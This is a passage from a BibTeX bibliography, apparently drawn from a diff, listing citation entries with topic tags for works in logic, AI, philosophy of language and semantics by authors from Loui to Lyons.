{logic-in-AI;} + } + +@unpublished{ loui:1988b, + author = {Ronald P. Loui}, + title = {Defeat among the Arguments {II}: Renewal, Rebuttal, + and Referral}, + year = {1988}, + note = {Unpublished manuscript, Washington University.}, + topic = {argumentation;nonmonotonic-logic;} + } + +@inproceedings{ loui:1989a, + author = {Ronald P. Loui}, + title = {Analogical Reasoning, Defeasible Reasoning, and the + Reference Class}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {256--265}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {nonmonotonic-reasoning;statistical-inference;analogy; + analogical-reasoning;} + } + +@incollection{ loui:1990a, + author = {Ronald Loui}, + title = {Defeasible Specification of Utilities}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {345--359}, + address = {Dordrecht}, + topic = {nonmonotonic-reasoning;decision-theory;qualitative-utility;} + } + +@incollection{ loui:1991a, + author = {Ron Loui}, + title = {Ampliative Inference, Computation, and + Dialectic}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {141--155}, + address = {Cambridge, Massachusetts}, + topic = {argument-based-defeasible-reasoning;} + } + +@unpublished{ loui:1992a, + author = {Ronald P. Loui}, + title = {Process and Policy: Resource-Bounded Non-Demonstrative + Reasoning}, + year = {1992}, + note = {Unpublished MS, Department of Computer Science, Washington + University, St. Louis, MO 63130.}, + topic = {argumentation;nonmonotonic-reasoning;} + } + +@incollection{ loui:1996a, + author = {Ronald P. Loui}, + title = {Back to the Scene of the Crime: Or, + Who Survived the {Y}ale Shooting?}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {89--98}, + address = {Norwood, New Jersey}, + topic = {Yale-shooting-problem;frame-problem;} + } + +@article{ loui:1998a, + author = {Ronald P. Loui}, + title = {Review of {B}rian {C}. {S}mith's {\it On the Origin + of Objects}}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {2}, + pages = {353--358}, + xref = {Review of smith_bc:1996a.}, + topic = {foundations-of-computation;} + } + +@article{ loui:1999a, + author = {Ronald P. Loui}, + title = {Review of {\it Logical Tools for Modeling Legal Argument: + A Study of Defeasible Reasoning in Law}, by {H}enry {P}rakken}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {4}, + pages = {1840--1841}, + xref = {Review of: prakken:1997a.}, + topic = {logic-and-law;nonmonotonic-reasoning;} + } + +@article{ loveland:1991a, + author = {Donald W. Loveland}, + title = {Near-Horn {Prolog} and Beyond}, + journal = {Journal of Automated Reasoning}, + volume = {7}, + pages = {1--26}, + year = {1991}, + topic = {logic-programming;} + } + +@inproceedings{ loveland:1999a, + author = {Donald W. Loveland}, + title = {Applications of Theorem Proving}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {theorem-proving;AI-applications;} + } + +@article{ lowe_b-welch:2001a, + author = {Benedict Lowe and Philip D. Welch}, + title = {Set-Theoretic Absoluteness and the Revision Theory of + Truth}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {21--41}, + topic = {truth;semantic-paradoxes;fixpoints;semantic-hierarchies; + arithmetic-hierarchy;} + } + +@article{ lowe_dj:1987a, + author = {David G. Lowe}, + title = {Three-Dimensional Object Recognition from Single + Two-Dimensional Images}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {3}, + pages = {355--395}, + topic = {three-D-reconstruction;} + } + +@article{ lowe_ej:1979a, + author = {E. Jonathan Lowe}, + title = {Indicative and Counterfactual Conditionals}, + journal = {Analysis}, + year = {1979}, + volume = {39}, + pages = {139--141}, + missinginfo = {number}, + topic = {conditionals;} + } + +@book{ lowe_ej:1989a, + author = {E. Jonathan Lowe}, + title = {Kinds of Being: A Study of Individuation, Identity, and + the Logic of Sortal Terms}, + publisher = {Blackwell Publishers}, + year = {1989}, + address = {Oxford}, + ISBN = {063116703X}, + topic = {philosophical-ontology;sortal-quantification;identity;} + } + +@article{ lowe_ej:1994a, + author = {E. Jonathan Lowe}, + title = {Vague Identity and Quantum Indeterminacy}, + journal = {Analysis}, + year = {1994}, + volume = {54}, + pages = {110--114}, + missinginfo = {number}, + topic = {vagueness;identity;quantum-logic;} + } + +@incollection{ lownie:1992a, + author = {Timothy M. Lownie}, + title = {A Contraction Operator for Classical Propositional Logic}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {720--731}, + address = {San Mateo, California}, + topic = {kr;belief-revision;} + } + +@article{ lozanoperez:1982a, + author = {Tom\'as Lozano-P\'erez}, + title = {Robotics}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {2}, + pages = {137--143}, + topic = {robotics;} + } + +@incollection{ lozinskii:1989a, + author = {Eliezer Lozinskii}, + title = {Plausible World Assumption}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {266--275}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-logic;kr-course;} + } + +@book{ lu_zw:1989a, + author = {Zhongwan Lu}, + title = {Mathematical Logic for Computer Science}, + publisher = {World Scientific}, + year = {1989}, + address = {Singapore}, + ISBN = {9971502518}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@book{ lu_zw:1998a, + author = {Zhongwan Lu}, + title = {Mathematical Logic for Computer Science}, + edition = {2}, + publisher = {World Scientific}, + year = {1998}, + address = {Singapore}, + ISBN = {981023091-5}, + xref = {Review: forster:2001a.}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@article{ lucas_jr:1961a, + author = {John R. Lucas}, + title = {Minds, Machines, and G\"{o}del}, + journal = {Philosophy}, + year = {1961}, + volume = {36}, + pages = {112--127}, + missinginfo = {number.}, + topic = {philosophy-of-computation;goedels-first-theorem;} + } + +@incollection{ lucas_jr:1962a, + author = {John R. Lucas}, + title = {Causation}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {32--65}, + address = {New York}, + topic = {causality;} + } + +@article{ lucas_jr:1968a, + author = {John R. Lucas}, + title = {Satan Stultified: A Reply to {P}aul {B}enacerraf}, + journal = {The Monist}, + year = {1968}, + volume = {51}, + number = {1}, + pages = {145--158}, + contentnote = {Reply to benacerraf:1967a}, + topic = {philosophy-of-computation;} + } + +@article{ lucas_jr:1994a, + author = {John R. Lucas}, + title = {A View of One's Own}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {147--152}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {philosophy-AI;consciousness;} + } + +@article{ lucas_pjf:1998a, + author = {Peter J.F. Lucas}, + title = {Analysis of Notions of Diagnosis}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {295--343}, + contentnote = {This claims to provide a formal theory of + diagnosis.}, + topic = {diagnosis;} + } + +@book{ luce-raiffa:1957a, + author = {R. Duncan Luce and Howard Raiffa}, + title = {Games and Decisions}, + publisher = {John Wiley and Sons}, + year = {1957}, + address = {New York}, + topic = {decision-theory;game-theory;} + } + +@article{ luce:1967a, + author = {R. Duncan Luce}, + title = {Sufficient Conditions for the Existence of a Finitely + Additive Probability Measure}, + journal = {Annals of Mathematics and Statistics}, + year = {1967}, + volume = {38}, + pages = {780--786}, + missinginfo = {number}, + topic = {qualitative-probability;measurement-theory;} + } + +@incollection{ luce:1977a, + author = {R. Duncan Luce}, + title = {Conjoint Measurement: A Brief Survey}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {148--171}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;measurement-theory;} + } + +@article{ luck:1998a, + author = {Michael Luck}, + title = {Review of {\em Elements of Machine Learning}, + by {P}at {L}angley}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {1}, + pages = {103--105}, + topic = {machine-learning;} + } + +@article{ luckham-nilsson:1970a, + author = {David Luckham and Nils J. Nilsson}, + title = {Extracting Information from Resolution Proof Trees}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {2}, + number = {1}, + pages = {27--54}, + topic = {theorem-proving;} + } + +@article{ luckin:1998a, + author = {Rosemary Luckin}, + title = {Review of {\it Vygotsky and Cognitive Science: Language and + the Unification of the Social and Computational Mind}, by } , + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {3}, + pages = {520--523}, + xref = {Review of: frawley:1997a.}, + topic = {foundations-of-cognitive-science;philosophy-of-language; + psychology-general;context;} + } + +@book{ lucy:1992a, + author = {John A. Lucy}, + title = {Language Diversity and Thought}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + topic = {linguistic-relativity;} + } + +@book{ lucy:1996a, + author = {John A. Lucy}, + title = {Grammatical Categories and Cognition}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {linguistic-relativity;} + } + +@article{ ludlow:1989a, + author = {Peter Ludlow}, + title = {Implicit Comparison Classes}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {4}, + pages = {519--533}, + topic = {nl-semantics;comparative-constructions;semantics-of-adjectives;} + } + +@article{ ludlow-neale:1991a1, + author = {Peter Ludlow and Stephen Neale}, + title = {Indefinite Descriptions: In Defense of {R}ussell}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {2}, + pages = {171--202}, + xref = {Republication: ludlow-neale:1991a2.}, + topic = {indefiniteness;nl-quantification;} + } + +@incollection{ ludlow-neale:1991a2, + author = {Peter Ludlow and Stephen Neale}, + title = {Indefinite Descriptions: In Defense of {R}ussell}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {523--555}, + address = {Cambridge, Massachusetts}, + xref = {Republication: ludlow-neale:1991a1.}, + topic = {indefiniteness;nl-quantification;} + } + +@article{ ludlow:1996a, + author = {Peter Ludlow}, + title = {The Logical Form of Determiners}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {24}, + number = {1}, + pages = {47--69}, + topic = {definite-descriptions;nl-quantification;} + } + +@book{ ludlow:1996b, + editor = {Peter Ludlow}, + title = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-62114-2}, + contentnote = {TC: + 1. Gottlob Frege, "The Thought: A Logical Inquiry", pp. 9--30 + 2. Ludwig Wittgenstein, "Excerpt from {\it The Blue and Brown + Books}", pp. 31--47 + 3. Willard V. Quine, "Translation and Meaning", pp. 49--57 + 4. Paul Grice, "Utterer's Meaning and Intentions", pp. 59--88 + 5. Donald Davidson, "Truth and Meaning", pp. 89--107 + 6. Ernest LePore, "What Model-Theoretic Semantics Cannot + Do", pp. 109--128 + 7. Michael Dummett, "What Is a Theory of Meaning?", pp. 129--155 + 8. James Higginbotham, "Elucidations of Meaning", pp. 157--178 + 9. Richard K. Larson and Gabriel Segal, "Knowledge of Meaning + and Theories of Truth", pp. 179--199 + 10. Ludwig Wittgenstein, "Some Remarks on Logical + Form", pp. 209--215 + 11. Donald Davidson, "The Logical Form of Action + Sentences", pp. 217--232 + 12. Gareth Evans, "Semantic Structure and Logical Form", pp. 233--256 + 13. Gilbert Harman, "Deep Structure as Logical Form", pp. 257--278 + 14. Robert May, "Logical Form as a Level of Linguistic + Representation", pp. 281--315 + 15. Bertrand Russell, "Descriptions", pp. 323--333 + 16. Peter Strawson, "On Referring", pp. 335--359 + 17. Keith Donnellan, "Reference and Definite + Descriptions", pp. 361--381 + 18. Saul A. Kripke, "Speaker's Reference and Semantic + Reference", pp. 383--414 + 19. Stephen Neale, "Context and Communication", pp. 415--474 + 20. Janet Dean Fodor and Ivan A. Sag, "Referential and + Quantificational Indefinites", pp. 475--521 + 21. Peter Ludlow and Stephen Neale, "Indefinite + Descriptions: In Defense of Russell", pp. 523--555 + 22. Gottlob Frege, "On Sense and Reference", pp. 559--583 + 23. John R. Searle, "Proper Names", pp. 585--592 + 24. Tyler Burge, "Reference and Proper Names", pp. 593--608 + 25. Saul A. Kripke, "Lecture II of {\em Naming and + Necessity}", pp. 609--634 + 26. Gareth Evans, "The Causal Theory of Names", pp. 609--667 + 27. Scott Weinstein, "Truth and Demonstratives", pp. 663--692 + 28. David Kaplan, "Dthat", pp. 669--692 + 29. John Perry, "Frege on Demonstratives", pp. 693--715 + 30. Gareth Evans, "Understanding Demonstratives", pp. 717--744 + 31. Martin Davies, "Individuation and the Semantics of + Demonstratives", pp. 745--767 + 32. Rudolph Carnap, "The Method of Intension", pp. 779--791 + 33. Israel Scheffler, "On Synonymy and Indirect + Discourse", pp. 793--800 + 34. Willard V. Quine, "Vagaries of Reference", pp. 801--815 + 35. Donald Davidson, "On Saying That", pp. 817--832 + 36. Barbara Partee, "Opacity and Scope", pp. 833--853 + 37. Stephen Schiffer, "Sententialist Theories of + Belief", pp. 855--873 + 38. Saul A. Kripke, "A Puzzle about Belief", pp. 875--920 + 39. Scott Soames, "Direct Reference, Propositional Attitudes, + and Semantic Content", pp. 921--962 + 40. Mark Crimmins and John Perry, "The Prince and the Phone + Booth: Reporting Puzzling Beliefs", pp. 963--991 + 41. Richard K. Larson and Peter Ludlow, "Interpreted Logical + Forms", pp. 993--1039 + 42. Marcel den Dikken and Richard K. Larson and Peter + Ludlow, "Intensional `Transitive' Verbs and + Concealed Complement Clauses", pp. 1041--1053 + } , + topic = {philosophy-of-language;} + } + +@article{ ludlow:1997a, + author = {Peter J. Ludlow}, + title = {Review of {\it Semantic Ambiguity and Underspecification}, + edited by {K}ees {van Deemter} and {S}tanley {P}eters}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {3}, + pages = {476--482}, + xref = {Review of vandeemter-peters:1996a.}, + topic = {ambiguity;polysemy;semantic-underspecification;} + } + +@book{ ludlow:1999a, + author = {Peter J. Ludlow}, + title = {Semantics, Tense, and Time: An Essay in the Metaphysics of + Natural Language}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-12219-7}, + xref = {Review: markosian:2001a, bonomi:2002a.}, + topic = {nl-semantics;tense-aspect;metaphysics;} + } + +@incollection{ ludwig-ray:1998a, + author = {Kirk Ludwig and Georges Ray}, + title = {Semantics for Opaque Contexts}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {141--166}, + address = {Oxford}, + topic = {quantifying-in-modality;syntactic-attitudes;} + } + +@article{ luelsdorff:1998a, + author = {Phillip A. Luelsdorff}, + title = {Questions of Modality}, + journal = {Theoretical Linguistics}, + year = {1998}, + volume = {24}, + number = {2/3}, + pages = {157--184}, + topic = {lexical-semantics;modal-auxiliaries;} + } + +@incollection{ lukasiewicz_j:1967a, + author = {Jan {\L}ukasiewicz}, + title = {On Determinism}, + booktitle = {Polish Loigc}, + publisher = {Oxford University Press}, + year = {1967}, + editor = {Storrs McCall}, + pages = {19--39}, + address = {Oxford}, + title = {Jan {\L}ukasiewicz, Selected Writings}, + publisher = {North-Holland}, + year = {1970}, + note = {Edited by Ludwik Borowski.}, + topic = {many-valued-logic;Polish-logic;tense-logic;} + } + +@incollection{ lukasiewicz_t:1998a, + author = {Thomas Lukasiewicz}, + title = {Probabilistic Deduction with Conditional Constraints + over Basic Events}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {380--391}, + address = {San Francisco, California}, + topic = {kr;probabilistic-reasoning;kr-course;} + } + +@book{ lukasiewicz_w:1990a, + author = {Witold Lukaszewicz}, + title = {Non-Monotonic Reasoning: Formalization of Commonsense + Reasoning}, + publisher = {Ellis Horwood}, + year = {1990}, + address = {New York}, + ISBN = {0136244467}, + topic = {nonmonotonic-reasoning;common-sense-reasoning; + common-sense-logicism;} + } + +@inproceedings{ lukaszewicz_w:1985a, + author = {Witold {\L}ukaszewicz}, + title = {Two Results on Default Logic}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {459--461}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {default-logic;nonmonotonic-logic;} + } + +@inproceedings{ lukaszewicz_w-madalinskabugaj:1995a, + author = {Witold {\L}ukaszewicz and Ewa Madali\'nska-Bugaj}, + title = {Reasoning about Action and Change Using {D}ijskstra's + Semantics for Programming Languages: Preliminary Report}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1950--1955}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {action-formalisms;temporal-reasoning;} + } + +@inproceedings{ luo_xq-roukos:1996a, + author = {Xiao-Qiang Luo and Salim Roukos}, + title = {An Iterative Algorithm to Build {C}hinese Language + Models}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {139--144}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {speech-recognition;statistical-nlp;Chinese-language;} + } + +@incollection{ luo_zy-gammerman:1991a, + author = {Zhiyuan Luo and Alex Gammerman}, + title = {{PRESS}---A Probabilistic Reasoning Expert System}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {232--237}, + address = {Berlin}, + topic = {causal-networks;expert-systems;} + } + +@phdthesis{ luperfoy:1991a, + author = {Susann Luperfoy}, + title = {Discourse Pegs: A Computational Analysis of + Context-Independent Referring Expressions}, + school = {Linguistics Department, University of Texas at Austin.}, + year = {1991}, + type = {Ph.{D}. Dissertation}, + address = {Austin, Texs}, + topic = {discourse-representation-theory;discourse;discourse-referents + ;anaphora;pragmatics;referring-expressions;} + } + +@unpublished{ luperfoy:1992a, + author = {Susann Luperfoy}, + title = {The Semantics of Plural Indefinites in {E}nglish}, + year = {1991}, + note = {Unpublished manuscript, University of Texas at Austin.}, + missinginfo = {Date is a guess.}, + topic = {plural;indefiniteness;} + } + +@inproceedings{ luperfoy:1992b, + author = {Susann Luperfoy}, + title = {The Representation of Multimodal User Interface + Dialogues Using Discourse Pegs}, + booktitle = {Proceedings of the Thirtieth Annual Meeting of the + Association for Computational Linguistics}, + year = {1992}, + editor = {Henry S. Thompson}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + missinginfo = {pages}, + topic = {discourse-representation-theory;discourse;anaphora; + nl-interfaces;pragmatics;} + } + +@unpublished{ luperfoy:1997a, + author = {Susann Luperfoy}, + title = {An Implementation of {DRT} and File Change Semantics + for Interpretation of Total and Partial Anaphora}, + year = {1997}, + note = {Unpublished manuscript, The Mitre Corporation}, + missinginfo = {Year is a guess.}, + topic = {anaphora;discourse-representation-theory;discourse;pragmatics;} + } + +@book{ luperfoy:2000a, + editor = {Susann Luperfoy}, + title = {Automatic Spoken Dialog Systems}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + topic = {computational-dialogue;} + } + +@article{ lurie:1999a, + author = {Jacob Lurie}, + title = {Anti-Admissible Sets}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {2}, + pages = {407--435}, + topic = {admissible-sets;} + } + +@article{ lustig:1995a, + author = {Roger Lustig}, + title = {Review of {\it The Creative Mind: Myths and Mechanisms}, + by {M}argaret {B}oden}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {1}, + pages = {83--96}, + xref = {Review of boden:1990a.}, + topic = {creativity;} + } + +@incollection{ lutz:2002a, + author = {Carsten Lutz}, + title = {Adding Numbers to the {SHIQ} Description Logic---First + Results}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {191--202}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;} + } + +@incollection{ lutzeier:1981a, + author = {Peter R. Lutzeier}, + title = {Words and Worlds}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {75--106}, + address = {Berlin}, + topic = {nl-semantics;possible-worlds;nl-modality;spatial-semantics;} + } + +@article{ lycan:1970a, + author = {William G. Lycan}, + title = {Transformational Grammar and the {R}ussell-{S}trawson Dispute}, + journal = {Metaphilosophy}, + year = {1970}, + volume = {1}, + number = {4}, + pages = {335--337}, + topic = {definite-descriptions;} + } + +@article{ lycan:1970b, + author = {William G. Lycan}, + title = {Hintikka and {M}oore's Paradox}, + journal = {Philosophical Studies}, + year = {1970}, + volume = {21}, + number = {1--2}, + pages = {9--14}, + topic = {Moore's-paradox;} + } + +@book{ lycan:1984a, + author = {William G. Lycan}, + title = {Logical Form in Natural Language}, + publisher = {{MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: I. Semantics + Meaning and Truth + T-sentences + II. Pragmatics + The parameters of truth + Implicative relations and "presupposition" + Three influential errors + Lexical presumption + the performadox + Indirect force + Truth and the Lebenswelt + III. Psychology + Semantics and indeterminacy + Psychological reality + "Meaning" + Non-truth-functional sentence operators + }, + topic = {philosophy-of-language;nl-semantics;pragmatics;speech-acts; + presupposition;psychological-reality;} + } + +@incollection{ lycan:1984b, + author = {William G. Lycan}, + title = {A Syntactically Motivated Theory of Conditionals}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {437--455}, + address = {Minneapolis}, + topic = {conditionals;} + } + +@article{ lycan:1985a, + author = {William G. Lycan}, + title = {In Defense of the Necessity of Identity}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {10}, + pages = {572--574}, + topic = {identity;} + } + +@incollection{ lycan:1987a, + author = {William G. Lycan}, + title = {Semantic Competence and Truth Conditions}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {143--155}, + address = {London}, + topic = {foundations-of-semantics;philosophy-of-linguistics;} + } + +@book{ lycan:1987b, + author = {William G. Lycan}, + title = {Consciousness}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + topic = {consciousness;} + } + +@article{ lycan:1987c, + author = {William G. Lycan}, + title = {The Myth of the `Projection Problem for Presupposition'\, } , + journal = {Philosophical Topics}, + year = {1987}, + volume = {15}, + number = {1}, + pages = {169--175}, + topic = {presupposition;} + } + +@article{ lycan:1988a, + author = {William E. Lycan}, + title = {Review of {\it Portraying Analogy}, by {J}.{F}. {R}oss}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {1}, + pages = {107--124}, + xref = {Review of ross_jf:1981a.}, + topic = {foundations-of-semantics;analogy;metaphor;} + } + +@article{ lycan:1991a, + author = {William G. Lycan}, + title = {`{E}ven' and `Even If'}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {2}, + pages = {115--150}, + topic = {`even';sentence-focus;pragmatics;} + } + +@article{ lycan:1993a, + author = {William G. Lycan}, + title = {Review of {\it Consciousness Explained}, + by {D}aniel {D}ennett}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {3}, + pages = {424--429}, + xref = {Review of dennett:1991a.}, + topic = {philosophy-of-mind;consciousness;} + } + +@incollection{ lycan:1993b, + author = {William G. Lycan}, + title = {{MPP}, Rip}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {411--428}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {conditionals;CCCP;} + } + +@book{ lycan:1996a, + author = {William G. Lycan}, + title = {Consciousness and Experoence}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {consciousness;} + } + +@incollection{ lycan:1998a, + author = {William G. Lycan}, + title = {In Defense of the Representational + Theory of Qualia (Replies to {N}eander, + {R}ey, and {T}ye}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {479--487}, + address = {Oxford}, + topic = {philosophy-of-mind;mental-representations;} + } + +@inproceedings{ lynch_c:1998a, + author = {Christopher Lynch}, + title = {The Unification Problem for One Relation {T}hue Systems}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {195--208}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {unification;word-problems;} + } + +@inproceedings{ lynch_c-scharff:1998a, + author = {Christopher Lynch and Christelle Scharff}, + title = {Basic Completion with E-Cycle Simplification}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {209--221}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {theorem-proving;unification;} + } + +@article{ lynch_na-fischer:1981a, + author = {N.A. Lynch and M.J. Fischer}, + title = {On Describing the Behavior and Implementation of Distributed + Systems}, + journal = {Theoretical Computer Science}, + year = {1981}, + volume = {13}, + pages = {17--43}, + missinginfo = {A's 1st name, number}, + topic = {distributed-systems;} + } + +@article{ lynch_na-tuttle:1989a, + author = {N.A. Lynch and M.R. Tuttle}, + title = {An Introduction to Input/Output Automata}, + journal = {{CWI} Quarterly}, + year = {1989}, + volume = {2}, + number = {3}, + pages = {219--246}, + missinginfo = {A's 1st name}, + topic = {distributed-systems;} + } + +@book{ lyons_d:1965a, + author = {David Lyons}, + title = {Forms and Limits of Utilitarianism}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1965}, + topic = {utilitarianism;} + } + +@article{ lyons_dm-hendriks:1995a, + author = {D.M. Lyons and A.J. Hendriks}, + title = {Exploiting Patterns of Interaction to Achieve Reactive + Behavior}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {117--148}, + acontentnote = {Abstract: + This paper introduces an approach that allows an agent to + exploit inherent patterns of interaction in its environment, + so-called dynamics, to achieve its objectives. The approach + extends the standard treatment of planning and (re)action in + which part of the input to the plan generation algorithm is a + set of basic actions and perhaps some domain axioms. Real world + actions are typically difficult to categorize consistently and + are highly context dependent. The approach presented here takes + as input a procedural model of the agent's environment and + produces as output a set of action descriptions that capture how + the agent can exploit the dynamics in the environment. An agent + constructed with this approach can utilize context sensitive + actions, ``servo'' style actions, and other intuitively efficient + ways to manipulate its environment. A process-algebra based + representation, RS, is introduced to model the environment and + the agent's reactions. The paper demonstrates how to analyze an + RS environment model so as to automatically generate a set of + potentially useful dynamics and convert these to action + descriptions. The output action descriptions are designed to be + input to an Interval Temporal Logic based planner. A series of + examples of reaction construction drawn from the kitting robot + domain is worked through, and the prototype implementation of + the approach described. } , + topic = {planning;context;agent-environment-interaction;} + } + +@book{ lyons_j:1963a, + author = {John Lyons}, + title = {Structural Semantics}, + publisher = {Oxford University Press}, + year = {1963}, + address = {Oxford}, + topic = {nl-semantics;sturctural-semantics;} + } + +@book{ lyons_j:1977a1, + author = {John Lyons}, + title = {Semantics}, + publisher = {Cambridge University Press}, + year = {1977}, + volume = {1}, + address = {Cambridge, England}, + contentnote = {TC: 1. Introduction + 2. Communication and information + 3. Language as a semiotic system + 4. Semiotics + 5. Behaviourist semantics + 6. Logical Semantics + 7. Reference, sense, and denotation + 8. Structural semantics I: semantic fields + 9. Structural semantics II: sense relations + } , + topic = {semantics-survey;structural-semantics;} + } + +@book{ lyons_j:1977a2, + author = {John Lyons}, + title = {Semantics}, + publisher = {Cambridge University Press}, + year = {1977}, + volume = {2}, + address = {Cambridge, England}, + contentnote = {TC: 10. Semantics and grammar I + 11. Semantics and grammar II + 12. Semantics and grammar III + 13. The lexicon + 14. Context, style and culture + 15. Deixis, space and time + 16. Mood and illocutionary force + 17. Modality + } , + topic = {semantics-survey;speech-acts;pragmatics;} + } + +@book{ 